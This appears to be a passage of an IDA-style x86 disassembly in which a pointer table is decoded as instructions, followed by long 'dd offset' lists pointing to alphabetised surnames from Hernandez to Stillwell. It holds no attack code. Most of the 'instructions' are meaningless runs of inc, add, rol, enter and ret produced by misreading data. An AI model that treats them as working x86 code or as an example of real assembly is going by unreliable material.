		mov	edx, 0BAF40043h
		inc	ebx
		add	ah, bh
		mov	edx, 0BB080043h
		inc	ebx
		add	[eax], dl
		mov	ebx, 0BB180043h
		inc	ebx
		add	[ebx+edi*4], ah
		inc	ebx
		add	[ebx+edi*4], ch
		inc	ebx
		add	[ebx+edi*4], dh
		inc	ebx
		add	[ebx+edi*4], bh
		inc	ebx
		add	[ebx+edi*4+43h], al
		add	[eax-45h], cl
		inc	ebx
		add	[eax-45h], dl
		inc	ebx
		add	[eax-45h], bl
		inc	ebx
		add	[eax-45h], ah
		inc	ebx
		add	[eax-45h], ch
		inc	ebx
		add	[eax-45h], dh
		inc	ebx
		add	[ebx+edi*4+43h], bh
		add	[ebx+edi*4-4473FFBDh], al
		inc	ebx
		add	[ebx+edi*4-4463FFBDh], dl
		inc	ebx
		add	[ebx+edi*4-444FFFBDh], ah
		inc	ebx
		add	[ebx+edi*4-443FFFBDh], dh
		inc	ebx
		add	al, cl
		mov	ebx, 0BBD00043h
		inc	ebx
		add	al, bl
		mov	ebx, 0BBE40043h
		inc	ebx
		add	al, dh
		mov	ebx, 0BBFC0043h
		inc	ebx
		add	[eax], cl
		mov	esp, 0BC100043h
		inc	ebx
		add	[eax], bl
		mov	esp, 0BC240043h
		inc	ebx
		add	[eax], dh
		mov	esp, 0BC400043h
		inc	ebx
		add	[eax-44h], cl
		inc	ebx
		add	[esp+edi*4+43h], dl
		add	[esp+edi*4+43h], bl
		add	[eax-44h], ch
		inc	ebx
		add	[eax-44h], dh
		inc	ebx
		add	[eax-44h], bh
		inc	ebx
		add	[eax-77FFBC44h], al
		mov	esp, 0BC940043h
		inc	ebx
		add	[esp+edi*4-435BFFBDh], bl
		inc	ebx
		add	[esp+edi*4-4347FFBDh], ch
		inc	ebx
		add	al, al
		mov	esp, 0BCCC0043h
		inc	ebx
		add	al, bl
		mov	esp, 0BCE40043h
		inc	ebx
		add	ah, ch
		mov	esp, 0BCF40043h
		inc	ebx
		add	ah, bh
		mov	esp, 0BD040043h
		inc	ebx
		add	ds:0BD140043h[edi*4], cl
		inc	ebx
		add	ds:0BD240043h[edi*4], bl
		inc	ebx
		add	ds:0BD340043h[edi*4], ch
		inc	ebx
		add	ds:0BD480043h[edi*4], bh
		inc	ebx
		add	[eax-43h], dl
		inc	ebx
		add	[eax-43h], bl
		inc	ebx
		add	[eax-43h], ah
		inc	ebx
		add	[eax-43h], ch
		inc	ebx
		add	[ebp+edi*4+43h], dh
		add	[ebp+edi*4+43h], bh
		add	[ebp+edi*4-4273FFBDh], al
		inc	ebx
		add	[ebp+edi*4-4263FFBDh], dl
		inc	ebx
		add	[ebp+edi*4-4253FFBDh], ah
		inc	ebx
		add	[eax-3BFFBC43h], bh
		mov	ebp, 0BDD00043h
		inc	ebx
		add	ah, bl
		mov	ebp, 0BDE40043h
		inc	ebx
		add	ah, ch
		mov	ebp, 0BDF40043h
		inc	ebx
		add	ah, bh
		mov	ebp, 0BE040043h
		inc	ebx
		add	[esi+edi*4], cl
		inc	ebx
		add	[esi+edi*4], dl
		inc	ebx
		add	[esi+edi*4], bl
		inc	ebx
		add	[eax], ch
		mov	esi, 0BE300043h
		inc	ebx
		add	[eax], bh
		mov	esi, 0BE440043h
		inc	ebx
		add	[esi+edi*4+43h], cl
		add	[esi+edi*4+43h], dl
		add	[esi+edi*4+43h], bl
		add	[esi+edi*4+43h], ah
		add	[esi+edi*4+43h], dh
		add	[esi+edi*4+43h], bh
		add	[esi+edi*4-4173FFBDh], al
		inc	ebx
		add	[esi+edi*4-4163FFBDh], dl
		inc	ebx
		add	[esi+edi*4-414FFFBDh], ah
		inc	ebx
		add	[eax-3FFFBC42h], bh
		mov	esi, 0BEC80043h
		inc	ebx
		add	ah, dl
		mov	esi, 0BEE00043h
		inc	ebx
		add	ah, ch
		mov	esi, 0BEF40043h
		inc	ebx
		add	ah, bh
		mov	esi, 0BF040043h
		inc	ebx
		add	[edi+edi*4], cl
		inc	ebx
		add	[eax], bl
		mov	edi, 0BF240043h
		inc	ebx
		add	[edi+edi*4], ch
		inc	ebx
		add	[edi+edi*4], dh
		inc	ebx
		add	[eax-41h], al
		inc	ebx
		add	[eax-41h], cl
		inc	ebx
		add	[eax-41h], dl
		inc	ebx
		add	[eax-41h], bl
		inc	ebx
		add	[edi+edi*4+43h], ah
		add	[edi+edi*4+43h], ch
		add	[edi+edi*4+43h], dh
		add	[edi+edi*4+43h], bh
		add	[edi+edi*4-406FFFBDh], al
		inc	ebx
		add	[eax-57FFBC41h], ah
		mov	edi, 0BFB80043h
		inc	ebx
		add	al, al
		mov	edi, 0BFCC0043h
		inc	ebx
		add	ah, dl
		mov	edi, 0BFE00043h
		inc	ebx
		add	al, ch
		mov	edi, 0BFF00043h
		inc	ebx
		add	ah, bh
		mov	edi, 0C0040043h
		inc	ebx
		add	[eax], dl
		rol	byte ptr [ebx+0], 18h
		rol	byte ptr [ebx+0], 20h
		rol	byte ptr [ebx+0], 28h
		rol	byte ptr [ebx+0], 34h
		rol	byte ptr [ebx+0], 40h
		rol	byte ptr [ebx+0], 4Ch
		rol	byte ptr [ebx+0], 54h
		rol	byte ptr [ebx+0], 5Ch
		rol	byte ptr [ebx+0], 68h
		rol	byte ptr [ebx+0], 70h
		rol	byte ptr [ebx+0], 78h
		rol	byte ptr [ebx+0], 80h
		rol	byte ptr [ebx+0], 8Ch
		rol	byte ptr [ebx+0], 94h
		rol	byte ptr [ebx+0], 9Ch
		rol	byte ptr [ebx+0], 0A4h
		rol	byte ptr [ebx+0], 0ACh
		rol	byte ptr [ebx+0], 0B4h
		rol	byte ptr [ebx+0], 0BCh
		rol	byte ptr [ebx+0], 0C4h
		rol	byte ptr [ebx+0], 0CCh
		rol	byte ptr [ebx+0], 0D8h
		rol	byte ptr [ebx+0], 0E0h
		rol	byte ptr [ebx+0], 0E8h
		rol	byte ptr [ebx+0], 0F0h
		rol	byte ptr [ebx+0], 0F8h
		rol	byte ptr [ebx+0], 4
		rol	dword ptr [ebx+0], 10h
		rol	dword ptr [ebx+0], 18h
		rol	dword ptr [ebx+0], 24h
		rol	dword ptr [ebx+0], 2Ch
		rol	dword ptr [ebx+0], 34h
		rol	dword ptr [ebx+0], 3Ch
		rol	dword ptr [ebx+0], 48h
		rol	dword ptr [ebx+0], 54h
		rol	dword ptr [ebx+0], 60h
		rol	dword ptr [ebx+0], 6Ch
		rol	dword ptr [ebx+0], 78h
		rol	dword ptr [ebx+0], 80h
		rol	dword ptr [ebx+0], 88h
		rol	dword ptr [ebx+0], 94h
		rol	dword ptr [ebx+0], 9Ch
		rol	dword ptr [ebx+0], 0A0h
		rol	dword ptr [ebx+0], 0A4h
		rol	dword ptr [ebx+0], 0ACh
		rol	dword ptr [ebx+0], 0B4h
		rol	dword ptr [ebx+0], 0C0h
		rol	dword ptr [ebx+0], 0C8h
		rol	dword ptr [ebx+0], 0D0h
		rol	dword ptr [ebx+0], 0DCh
		rol	dword ptr [ebx+0], 0E4h
		rol	dword ptr [ebx+0], 0F4h
		rol	dword ptr [ebx+0], 0FCh
		rol	dword ptr [ebx+0], 8
		retn	43h
; ---------------------------------------------------------------------------
		adc	dl, al
		inc	ebx
		add	[eax], bl
		retn	43h
; ---------------------------------------------------------------------------
		and	dl, al
		inc	ebx
		add	[edx+eax*8], ch
		inc	ebx
		add	[edx+eax*8], dh
		inc	ebx
		add	[eax-3Eh], al
		inc	ebx
		add	[eax-3Eh], cl
		inc	ebx
		add	[edx+eax*8+43h], dl
		add	[eax-3Eh], ah
		inc	ebx
		add	[eax-3Eh], ch
		inc	ebx
		add	[edx+eax*8+43h], dh
		add	[edx+eax*8+43h], bh
		add	[edx+eax*8-3D73FFBDh], al
		inc	ebx
		add	[eax-5BFFBC3Eh], bl
		retn	43h
; ---------------------------------------------------------------------------
		lodsb
		retn	43h
; ---------------------------------------------------------------------------
		mov	ah, 0C2h
		inc	ebx
		add	[edx+eax*8-3D37FFBDh], bh
		inc	ebx
		add	al, dl
		retn	43h
; ---------------------------------------------------------------------------
		fadd	st(2), st
		inc	ebx
		add	ah, ah
		retn	43h
; ---------------------------------------------------------------------------
		dd offset aHernandez	; "Hernandez"
; ---------------------------------------------------------------------------
		cld
		retn	43h
; ---------------------------------------------------------------------------
		add	al, 0C3h
		inc	ebx
		add	[ebx+eax*8], cl
		inc	ebx
		add	[ebx+eax*8], dl
		inc	ebx
		add	[ebx+eax*8], bl
		inc	ebx
		add	[eax], ch
		retn
; ---------------------------------------------------------------------------
		inc	ebx
		add	[eax], dh
		retn
; ---------------------------------------------------------------------------
		inc	ebx
		add	[eax], bh
		retn
; ---------------------------------------------------------------------------
		inc	ebx
		add	[ebx+eax*8+43h], al
		add	[ebx+eax*8+43h], cl
		add	[ebx+eax*8+43h], dl
		add	[ebx+eax*8+43h], bl
		add	[ebx+eax*8+43h], ah
		add	[eax-3Dh], dh
		inc	ebx
		add	[eax-3Dh], bh
		inc	ebx
		add	[eax-77FFBC3Dh], al
		retn
; ---------------------------------------------------------------------------
		inc	ebx
		add	[eax-67FFBC3Dh], dl
		retn
; ---------------------------------------------------------------------------
		inc	ebx
		add	[eax-57FFBC3Dh], ah
		retn
; ---------------------------------------------------------------------------
		inc	ebx
		add	[eax-47FFBC3Dh], dh
		retn
; ---------------------------------------------------------------------------
		inc	ebx
		add	al, al
		retn
; ---------------------------------------------------------------------------
		inc	ebx
		add	al, cl
		retn
; ---------------------------------------------------------------------------
		inc	ebx
		add	al, dl
		retn
; ---------------------------------------------------------------------------
		inc	ebx
		add	al, bl
		retn
; ---------------------------------------------------------------------------
		inc	ebx
		add	ah, bl
		retn
; ---------------------------------------------------------------------------
		db  43h	; C
		db    0
		db 0E4h	; ä
		db 0C3h	; Ã
; ---------------------------------------------------------------------------
		inc	ebx
		add	al, dh
		retn
; ---------------------------------------------------------------------------
		inc	ebx
		add	ah, bh
		retn
; ---------------------------------------------------------------------------
		dw 43h
		dd offset aHupp		; "Hupp"
		dd offset aHurtubise	; "Hurtubise"
		dd offset aHutchings	; "Hutchings"
		dd offset aHyde		; "Hyde"
		dd offset aIaquinta	; "Iaquinta"
		dd offset aIchikawa	; "Ichikawa"
		dd offset aIgarashi	; "Igarashi"
		dd offset aInamura	; "Inamura"
		dd offset aInniss	; "Inniss"
		dd offset aIsaac	; "Isaac"
		dd offset aIsaievych	; "Isaievych"
		dd offset aIsbill	; "Isbill"
		dd offset aIsserman	; "Isserman"
		dd offset aIyer		; "Iyer"
		dd offset aJacenko	; "Jacenko"
		dd offset aJackson	; "Jackson"
		dd offset aJagers	; "Jagers"
		dd offset aJagger	; "Jagger"
		dd offset aJagoe	; "Jagoe"
		dd offset aJain		; "Jain"
		dd offset aJamil	; "Jamil"
		dd offset aJanjigian	; "Janjigian"
		dd offset aJarnagin	; "Jarnagin"
		dd offset aJarrell	; "Jarrell"
		dd offset aJay		; "Jay"
		dd offset aJeffers	; "Jeffers"
		dd offset aJellis	; "Jellis"
		dd offset aJenkins	; "Jenkins"
		dd offset aJespersen	; "Jespersen"
		dd offset aJewett	; "Jewett"
		dd offset aJohannesson	; "Johannesson"
		dd offset aJohannsen	; "Johannsen"
		dd offset aJohns	; "Johns"
		dd offset aJolly	; "Jolly"
		dd offset aJorgensen	; "Jorgensen"
		dd offset aJucks	; "Jucks"
		dd offset aJuliano	; "Juliano"
		dd offset aJulious	; "Julious"
		dd offset aKabbash	; "Kabbash"
		dd offset aKaboolian	; "Kaboolian"
		dd offset aKafadar	; "Kafadar"
		dd offset aKalbfleisch	; "Kalbfleisch"
		dd offset aKaligian	; "Kaligian"
		dd offset aKalil	; "Kalil"
		dd offset aKalinowski	; "Kalinowski"
		dd offset aKalman	; "Kalman"
		dd offset aKamel	; "Kamel"
		dd offset aKangis	; "Kangis"
		dd offset aKarpouzes	; "Karpouzes"
		dd offset aKassower	; "Kassower"
		dd offset aKasten	; "Kasten"
		dd offset aKawachi	; "Kawachi"
		dd offset aKee		; "Kee"
		dd offset aKeenan	; "Keenan"
		dd offset aKeepper	; "Keepper"
		dd offset aKeith	; "Keith"
		dd offset aKelker	; "Kelker"
		dd offset aKelsey	; "Kelsey"
		dd offset aKempton	; "Kempton"
		dd offset aKemsley	; "Kemsley"
		dd offset aKendall	; "Kendall"
		dd offset aKerry	; "Kerry"
		dd offset aKeul		; "Keul"
		dd offset aKhong	; "Khong"
		dd offset aKimmel	; "Kimmel"
		dd offset aKimmett	; "Kimmett"
		dd offset aKimura	; "Kimura"
		dd offset aKindall	; "Kindall"
		dd offset aKinsley	; "Kinsley"
		dd offset aKippenberger	; "Kippenberger"
		dd offset aKirscht	; "Kirscht"
		dd offset aKittridge	; "Kittridge"
		dd offset aKleckner	; "Kleckner"
		dd offset aKleiman	; "Kleiman"
		dd offset aKleinfelder	; "Kleinfelder"
		dd offset aKlemperer	; "Klemperer"
		dd offset aKling	; "Kling"
		dd offset aKlinkenborg	; "Klinkenborg"
		dd offset aKlint	; "Klint"
		dd offset aKnuff	; "Knuff"
		dd offset aKobrick	; "Kobrick"
		dd offset aKoch		; "Koch"
		dd offset aKohn		; "Kohn"
		dd offset aKoivumaki	; "Koivumaki"
		dd offset aKommer	; "Kommer"
		dd offset aKoniaris	; "Koniaris"
		dd offset aKonrad	; "Konrad"
		dd offset aKool		; "Kool"
		dd offset aKorzybski	; "Korzybski"
		dd offset aKotter	; "Kotter"
		dd offset aKovaks	; "Kovaks"
		dd offset aKraemer	; "Kraemer"
		dd offset aKrailo	; "Krailo"
		dd offset aKrasney	; "Krasney"
		dd offset aKraus	; "Kraus"
		dd offset aKroemer	; "Kroemer"
		dd offset aKrysiak	; "Krysiak"
		dd offset aKuenzli	; "Kuenzli"
		dd offset aKumar	; "Kumar"
		dd offset aKusman	; "Kusman"
		dd offset aKuwabara	; "Kuwabara"
		dd offset aLa		; "La"
		dd offset aLabunka	; "Labunka"
		dd offset aLafler	; "Lafler"
		dd offset aLaing	; "Laing"
		dd offset aLallemant	; "Lallemant"
		dd offset aLandes	; "Landes"
		dd offset aLankes	; "Lankes"
		dd offset aLantieri	; "Lantieri"
		dd offset aLanzit	; "Lanzit"
		dd offset aLaserna	; "Laserna"
		dd offset aLashley	; "Lashley"
; ---------------------------------------------------------------------------
		cld
		mov	dword ptr [ebx+0], offset aLecar ; "Lecar"
		or	al, 0C8h
		inc	ebx
		add	[eax+ecx*8], dl
		inc	ebx
		add	[eax], ah
		enter	43h, 28h
		enter	43h, 30h
		enter	43h, 3Ch
		enter	43h, 44h
		enter	43h, 4Ch
		enter	43h, 54h
		enter	43h, 5Ch
		enter	43h, 64h
		enter	43h, 6Ch
		enter	43h, 78h
		enter	43h, 7Ch
		enter	43h, 84h
		enter	43h, 8Ch
		enter	43h, 94h
		enter	43h, 9Ch
		enter	43h, 0A4h
		enter	43h, 0ACh
		enter	43h, 0B8h
		enter	43h, 0C4h
		enter	43h, 0CCh
		enter	43h, 0D4h
		enter	43h, 0E0h
		enter	43h, 0E8h
		enter	43h, 0F0h
		enter	43h, 0F8h
		enter	43h, 4
		leave
		inc	ebx
		add	[eax], dl
		leave
		inc	ebx
		add	[eax], bl
		leave
		inc	ebx
		add	[eax], ah
		leave
		inc	ebx
		add	[ecx+ecx*8], ch
		inc	ebx
		add	[ecx+ecx*8], dh
		inc	ebx
		add	[ecx+ecx*8], bh
		inc	ebx
		add	[ecx+ecx*8+43h], al
		add	[ecx+ecx*8+43h], cl
		add	[ecx+ecx*8+43h], dl
		add	[ecx+ecx*8+43h], bl
		add	[ecx+ecx*8+43h], ah
		add	[ecx+ecx*8+43h], ch
		add	[ecx+ecx*8+43h], dh
		add	[eax-77FFBC37h], al
		leave
		inc	ebx
		add	[ecx+ecx*8-3667FFBDh], cl
		inc	ebx
		add	[ecx+ecx*8-364FFFBDh], ah
		inc	ebx
		add	[ecx+ecx*8-3637FFBDh], bh
		inc	ebx
		add	ah, dl
		leave
		inc	ebx
		add	ah, bl
		leave
		inc	ebx
		add	ah, ah
		leave
		inc	ebx
		add	ah, ch
		leave
		inc	ebx
		add	ah, dh
		leave
		inc	ebx
		add	ah, bh
		leave
		inc	ebx
		add	[edx+ecx*8], cl
		inc	ebx
		add	[edx+ecx*8], dl
		inc	ebx
		add	[eax], ah
		retf	43h
; ---------------------------------------------------------------------------
		sub	dl, cl
		inc	ebx
		add	[eax], dh
		retf	43h
; ---------------------------------------------------------------------------
		cmp	dl, cl
		inc	ebx
		add	[eax-36h], al
		inc	ebx
		add	[edx+ecx*8+43h], cl
		add	[eax-36h], bl
		inc	ebx
		add	[eax-36h], ah
		inc	ebx
		add	[edx+ecx*8+43h], ch
		add	[edx+ecx*8+43h], dh
		add	[eax-73FFBC36h], al
		retf	43h
; ---------------------------------------------------------------------------
		xchg	eax, esp
		retf	43h
; ---------------------------------------------------------------------------
		mov	al, ds:0AC0043CAh
		retf	43h
; ---------------------------------------------------------------------------
		mov	ah, 0CAh
		inc	ebx
		add	al, al
		retf	43h
; ---------------------------------------------------------------------------
		enter	43CAh, 0
		ror	dl, 1
		inc	ebx
		add	ah, bl
		retf	43h
; ---------------------------------------------------------------------------
		dd offset aMattson	; "Mattson"
		dd offset aMauzy	; "Mauzy"
; ---------------------------------------------------------------------------
		clc
		retf	43h
; ---------------------------------------------------------------------------
		cld
		retf	43h
; ---------------------------------------------------------------------------
		add	al, 0CBh
		inc	ebx
		add	[eax], dl
		retf
; ---------------------------------------------------------------------------
		inc	ebx
		add	[eax], bl
		retf
; ---------------------------------------------------------------------------
		inc	ebx
		add	[ebx+ecx*8], ah
		inc	ebx
		add	[ebx+ecx*8], ch
		inc	ebx
		add	[eax], bh
		retf
; ---------------------------------------------------------------------------
		inc	ebx
		add	[ebx+ecx*8+43h], al
		add	[ebx+ecx*8+43h], cl
		add	[eax-35h], bl
		inc	ebx
		add	[eax-35h], ah
		inc	ebx
		add	[ebx+ecx*8+43h], ch
		add	[ebx+ecx*8+43h], dh
		add	[eax-77FFBC35h], al
		retf
; ---------------------------------------------------------------------------
		inc	ebx
		add	[eax-67FFBC35h], dl
		retf
; ---------------------------------------------------------------------------
		inc	ebx
		add	[eax-57FFBC35h], ah
		retf
; ---------------------------------------------------------------------------
		inc	ebx
		add	[ebx+ecx*8-343FFFBDh], dh
		inc	ebx
		add	al, cl
		retf
; ---------------------------------------------------------------------------
		inc	ebx
		add	ah, dl
		retf
; ---------------------------------------------------------------------------
		inc	ebx
		add	ah, bl
		retf
; ---------------------------------------------------------------------------
		inc	ebx
		add	al, ch
		retf
; ---------------------------------------------------------------------------
		inc	ebx
		add	al, dh
		retf
; ---------------------------------------------------------------------------
		inc	ebx
		add	al, bh
		retf
; ---------------------------------------------------------------------------
		dw 43h
		dd offset aMetropolis	; "Metropolis"
		dd offset aMeurer	; "Meurer"
		dd offset aMichelman	; "Michelman"
		dd offset aMiddle	; "Middle"
		dd offset aMieher	; "Mieher"
		dd offset aMills	; "Mills"
		dd offset aMinh		; "Minh"
		dd offset aMini		; "Mini"
		dd offset aMinichiello	; "Minichiello"
		dd offset aGonzalez	; "Gonzalez"
		dd offset aMitropoulos	; "Mitropoulos"
		dd offset aMittal	; "Mittal"
		dd offset aMocroft	; "Mocroft"
		dd offset aModestino	; "Modestino"
		dd offset aMoeller	; "Moeller"
		dd offset aMohr		; "Mohr"
		dd offset aMoiamedi	; "Moiamedi"
		dd offset aMonque	; "Monque"
		dd offset aMontilio	; "Montilio"
		dd offset aMooredech_	; "MooreDeCh."
		dd offset aMorani	; "Morani"
		dd offset aMoreton	; "Moreton"
		dd offset aMorrison	; "Morrison"
		dd offset aMorrow	; "Morrow"
		dd offset aMortimer	; "Mortimer"
		dd offset aMosher	; "Mosher"
		dd offset aMosler	; "Mosler"
		dd offset aMostafavi	; "Mostafavi"
		dd offset aMotooka	; "Motooka"
		dd offset aMudarri	; "Mudarri"
		dd offset aMuello	; "Muello"
		dd offset aMugnai	; "Mugnai"
		dd offset aMulkern	; "Mulkern"
		dd offset aMulroy	; "Mulroy"
		dd offset aMumford	; "Mumford"
		dd offset aMussachio	; "Mussachio"
		dd offset aNaddeo	; "Naddeo"
		dd offset aNapolitano	; "Napolitano"
		dd offset aNardi	; "Nardi"
		dd offset aNardone	; "Nardone"
		dd offset aNaviaux	; "Naviaux"
		dd offset aNayduch	; "Nayduch"
		dd offset aNelson	; "Nelson"
		dd offset aNenna	; "Nenna"
		dd offset aNesci	; "Nesci"
		dd offset aNeuman	; "Neuman"
		dd offset aNewfeld	; "Newfeld"
		dd offset aNewlin	; "Newlin"
		dd offset aNg		; "Ng"
		dd offset aNi_0		; "Ni"
		dd offset aNickerson	; "Nickerson"
		dd offset aNickoloff	; "Nickoloff"
		dd offset aNisenson	; "Nisenson"
		dd offset aNitabach	; "Nitabach"
		dd offset aNotman	; "Notman"
		dd offset aNuzum	; "Nuzum"
		dd offset aOcougne	; "Ocougne"
		dd offset aOgata	; "Ogata"
		dd offset aOh		; "Oh"
		dd offset aOHagan	; "O'hagan"
		dd offset aOldford	; "Oldford"
		dd offset aOlsen	; "Olsen"
		dd offset aOlson	; "Olson"
		dd offset aOlszewski	; "Olszewski"
		dd offset aOMalley	; "O'malley"
		dd offset aOman		; "Oman"
		dd offset aOMeara	; "O'meara"
		dd offset aOpel		; "Opel"
		dd offset aOray		; "Oray"
		dd offset aOrfield	; "Orfield"
		dd offset aOrsi		; "Orsi"
		dd offset aOspina	; "Ospina"
		dd offset aOstrowski	; "Ostrowski"
		dd offset aOttaviani	; "Ottaviani"
		dd offset aOtten	; "Otten"
		dd offset aOuchida	; "Ouchida"
		dd offset aOvid		; "Ovid"
		dd offset aPaesdealmeida ; "PaesDealmeida"
		dd offset aPaine	; "Paine"
		dd offset aPalayoor	; "Palayoor"
		dd offset aPalepu	; "Palepu"
		dd offset aPallara	; "Pallara"
		dd offset aPalmitesta	; "Palmitesta"
		dd offset aPanadero	; "Panadero"
		dd offset aPanizzon	; "Panizzon"
		dd offset aPantilla	; "Pantilla"
		dd offset aPaoletti	; "Paoletti"
		dd offset aParmeggiani	; "Parmeggiani"
		dd offset aParris	; "Parris"
		dd offset aPartridge	; "Partridge"
		dd offset aPascucci	; "Pascucci"
		dd offset aPatefield	; "Patefield"
		dd offset aPatrick	; "Patrick"
		dd offset aPattullo	; "Pattullo"
		dd offset aPavetti	; "Pavetti"
		dd offset aPavlon	; "Pavlon"
		dd offset aPawloski	; "Pawloski"
		dd offset aPaynter	; "Paynter"
		dd offset aPeabody	; "Peabody"
		dd offset aPearlberg	; "Pearlberg"
		dd offset aPederson	; "Pederson"
		dd offset aPeishel	; "Peishel"
		dd offset aPenny	; "Penny"
		dd offset aPereira	; "Pereira"
		dd offset aPerko	; "Perko"
		dd offset aPerlak	; "Perlak"
		dd offset aPerlman	; "Perlman"
		dd offset aPerna	; "Perna"
		dd offset aPerone	; "Perone"
		dd offset aPerrimon	; "Perrimon"
		dd offset aPeters	; "Peters"
		dd offset aPetruzello	; "Petruzello"
		dd offset aPettibone	; "Pettibone"
		dd offset aPettit	; "Pettit"
		dd offset aPfister	; "Pfister"
		dd offset aPilbeam	; "Pilbeam"
		dd offset aPinot	; "Pinot"
		dd offset aPlancon	; "Plancon"
		dd offset aPlant	; "Plant"
		dd offset aPlasket	; "Plasket"
		dd offset aPlous	; "Plous"
		dd offset aPo		; "Po"
		dd offset aPocobene	; "Pocobene"
		dd offset aPoincaire	; "Poincaire"
		dd offset aPointer	; "Pointer"
		dd offset aPoirier	; "Poirier"
		dd offset aPolak	; "Polak"
		dd offset aPolanyi	; "Polanyi"
		dd offset aPolitis	; "Politis"
		dd offset aPoma		; "Poma"
		dd offset aPoolman	; "Poolman"
		dd offset aPowers	; "Powers"
		dd offset aPresper	; "Presper"
		dd offset aPreucel	; "Preucel"
		dd offset aPrevost	; "Prevost"
		dd offset aPritchard	; "Pritchard"
		dd offset aPritz	; "Pritz"
		dd offset aProietti	; "Proietti"
		dd offset aProthrowStith ; "Prothrow-Stith"
		dd offset aPuccia	; "Puccia"
		dd offset aPugh		; "Pugh"
		dd offset aPynchon	; "Pynchon"
		dd offset aQuaday	; "Quaday"
		dd offset aQuetin	; "Quetin"
		dd offset aRabe		; "Rabe"
		dd offset aRabkin	; "Rabkin"
		dd offset aRadeke	; "Radeke"
		dd offset aRajagopalan	; "Rajagopalan"
		dd offset aRaney	; "Raney"
		dd offset aRangan	; "Rangan"
		dd offset aRankin	; "Rankin"
		dd offset aRapple	; "Rapple"
		dd offset aRayport	; "Rayport"
		dd offset aReddenTyler	; "Redden-Tyler"
		dd offset aReedquist	; "Reedquist"
		dd offset aCunningham	; "Cunningham"
		dd offset aReinold	; "Reinold"
		dd offset aRemak	; "Remak"
		dd offset aRenick	; "Renick"
		dd offset aRepetto	; "Repetto"
		dd offset aResnik	; "Resnik"
		dd offset aRhea		; "Rhea"
		dd offset aRichmond	; "Richmond"
		dd offset aRielly	; "Rielly"
		dd offset aRindos	; "Rindos"
		dd offset aRineer	; "Rineer"
		dd offset aRish		; "Rish"
		dd offset aRivera	; "Rivera"
		dd offset aRobinson	; "Robinson"
		dd offset aRocha	; "Rocha"
		dd offset aRoesler	; "Roesler"
		dd offset aRogers	; "Rogers"
		dd offset aRonen	; "Ronen"
		dd offset aRow		; "Row"
		dd offset aRoyal	; "Royal"
		dd offset aRu		; "Ru"
		dd offset aRuan		; "Ruan"
		dd offset aRuderman	; "Ruderman"
		dd offset aRuescher	; "Ruescher"
		dd offset aRush		; "Rush"
		dd offset aRyu		; "Ryu"
		dd offset aSabatello	; "Sabatello"
		dd offset aSadler	; "Sadler"
		dd offset aSafire	; "Safire"
		dd offset aSahu		; "Sahu"
		dd offset aSali		; "Sali"
		dd offset aSamson	; "Samson"
		dd offset aSanchezRamirez ; "Sanchez-Ramirez"
		dd offset aSanna	; "Sanna"
		dd offset aSapers	; "Sapers"
		dd offset aSarin	; "Sarin"
		dd offset aSartore	; "Sartore"
		dd offset aSase		; "Sase"
		dd offset aSatin	; "Satin"
		dd offset aSatta	; "Satta"
		dd offset aSatterthwaite ; "Satterthwaite"
		dd offset aSawtell	; "Sawtell"
		dd offset aSayied	; "Sayied"
		dd offset aScarponi	; "Scarponi"
		dd offset aScepan	; "Scepan"
		dd offset aScharf	; "Scharf"
		dd offset aScharlemann	; "Scharlemann"
		dd offset aScheiner	; "Scheiner"
		dd offset aSchiano	; "Schiano"
		dd offset aSchifini	; "Schifini"
		dd offset aSchilling	; "Schilling"
		dd offset aSchmitt	; "Schmitt"
		dd offset aSchossberger	; "Schossberger"
		dd offset aSchuman	; "Schuman"
		dd offset aSchutte	; "Schutte"
		dd offset aSchuyler	; "Schuyler"
		dd offset aSchwan	; "Schwan"
		dd offset aSchwickrath	; "Schwickrath"
		dd offset aScovel	; "Scovel"
		dd offset aScudder	; "Scudder"
		dd offset aSeaton	; "Seaton"
		dd offset aSeeber	; "Seeber"
		dd offset aSegal	; "Segal"
		dd offset aSekler	; "Sekler"
		dd offset aSelvage	; "Selvage"
		dd offset aSen		; "Sen"
		dd offset aSennett	; "Sennett"
		dd offset aSeterdahl	; "Seterdahl"
		dd offset aSexton	; "Sexton"
		dd offset aSeyfert	; "Seyfert"
		dd offset aShaikh	; "Shaikh"
		dd offset aShakis	; "Shakis"
		dd offset aShankland	; "Shankland"
		dd offset aShanley	; "Shanley"
		dd offset aShar		; "Shar"
		dd offset aShatrov	; "Shatrov"
		dd offset aShavelson	; "Shavelson"
		dd offset aShea		; "Shea"
		dd offset aSheats	; "Sheats"
		dd offset aShepherd	; "Shepherd"
		dd offset aSheppard	; "Sheppard"
		dd offset aShepstone	; "Shepstone"
		dd offset aShesko	; "Shesko"
		dd offset aShia		; "Shia"
		dd offset aShibata	; "Shibata"
		dd offset aShimon	; "Shimon"
		dd offset aSiesto	; "Siesto"
		dd offset aSigalot	; "Sigalot"
		dd offset aSigini	; "Sigini"
		dd offset aSigna	; "Signa"
		dd offset aSilverman	; "Silverman"
		dd offset aSilvetti	; "Silvetti"
		dd offset aSinsabaugh	; "Sinsabaugh"
		dd offset aSirilli	; "Sirilli"
		dd offset aSites	; "Sites"
		dd offset aSkane	; "Skane"
		dd offset aSkerry	; "Skerry"
		dd offset aSkoda	; "Skoda"
		dd offset aSloan	; "Sloan"
		dd offset aSlowe	; "Slowe"
		dd offset aSmilow	; "Smilow"
		dd offset aSniffen	; "Sniffen"
		dd offset aSnodgrass	; "Snodgrass"
		dd offset aSocolow	; "Socolow"
		dd offset aSolon	; "Solon"
		dd offset aSomers	; "Somers"
		dd offset aSommariva	; "Sommariva"
		dd offset aSorabella	; "Sorabella"
		dd offset aSorg		; "Sorg"
		dd offset aSottak	; "Sottak"
		dd offset aSoukup	; "Soukup"
		dd offset aSoule	; "Soule"
		dd offset aSoultanian	; "Soultanian"
		dd offset aSpanier	; "Spanier"
		dd offset aSparrow	; "Sparrow"
		dd offset aSpaulding	; "Spaulding"
		dd offset aSpeizer	; "Speizer"
		dd offset aSpence	; "Spence"
		dd offset aSperber	; "Sperber"
		dd offset aSpicer	; "Spicer"
		dd offset aSpiegelhalter ; "Spiegelhalter"
		dd offset aSpiliotis	; "Spiliotis"
		dd offset aSpinrad	; "Spinrad"
		dd offset aStmartin	; "StMartin"
		dd offset aStalvey	; "Stalvey"
		dd offset aStam		; "Stam"
		dd offset aStang	; "Stang"
		dd offset aStassinopolus ; "Stassinopolus"
		dd offset aStates	; "States"
		dd offset aStatlender	; "Statlender"
		dd offset aStefani	; "Stefani"
		dd offset aSteiner	; "Steiner"
		dd offset aStephanian	; "Stephanian"
		dd offset aStepniewska	; "Stepniewska"
		dd offset aStewartOaten	; "Stewart-Oaten"
		dd offset aStiepock	; "Stiepock"
		dd offset aStillwell	; "Stillwell"
